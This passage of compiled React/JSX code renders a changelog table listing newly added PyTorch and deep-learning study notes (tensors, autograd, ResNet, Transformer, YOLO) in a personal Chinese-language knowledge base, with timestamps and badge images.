20:53:21"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.6 \u4f7f\u7528argparse\u8fdb\u884c\u8c03\u53c2"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.1 \u81ea\u5b9a\u4e49\u635f\u5931\u51fd\u6570"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.4 \u534a\u7cbe\u5ea6\u8bad\u7ec3"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-torchvision"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.2 \u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7387"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:21"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.5 \u6570\u636e\u589e\u5f3a-imgaug"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:20"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u516d\u7ae0/6.3 \u6a21\u578b\u5fae\u8c03-timm"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/0.1 \u4eba\u5de5\u667a\u80fd\u7b80\u53f2"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:06"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/0.2 \u8bc4\u4ef7\u6307\u6807"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:07"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/0.3 \u5e38\u7528\u5305\u7684\u5b66\u4e60"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:07"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u96f6\u7ae0/0.4 Jupyter\u76f8\u5173\u64cd\u4f5c"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/4.4 FashionMNIST\u56fe\u50cf\u5206\u7c7b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/4.3 DenseNet"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/4.1 ResNet"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:17"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u56db\u7ae0/4.2 GoogleNet"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.4 AI\u786c\u4ef6\u52a0\u901f\u8bbe\u5907"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.2 \u81ea\u52a8\u6c42\u5bfc"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.3 \u5e76\u884c\u8ba1\u7b97\u7b80\u4ecb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:13"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e8c\u7ae0/2.1 \u5f20\u91cf"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/5.4 PyTorh\u6a21\u578b\u4fdd\u5b58\u4e0e\u8bfb\u53d6"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u4e94\u7ae0/5.3 PyTorch\u4fee\u6539\u6a21\u578b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/2 \u76ee\u6807\u68c0\u6d4b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/RNN\u8be6\u89e3\u53ca\u5176\u5b9e\u73b0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/3 \u56fe\u50cf\u5206\u5272"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/LSTM\u89e3\u8bfb\u53ca\u5b9e\u6218"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:39"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/ViT\u89e3\u8bfb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/1 \u56fe\u50cf\u5206\u7c7b"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:40"}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:(0,A.jsx)(e.a,{href:"%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/",children:"AI/PyTorch/\u7b2c\u5341\u7ae0/YOLO\u7cfb\u5217\u89e3\u8bfb/MMYOLO\u5b9e\u73b0/rtmdet_description"})}),(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"\u65b0\u589e"})]}),(0,A.jsxs)(e.tr,{children:[(0,A.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 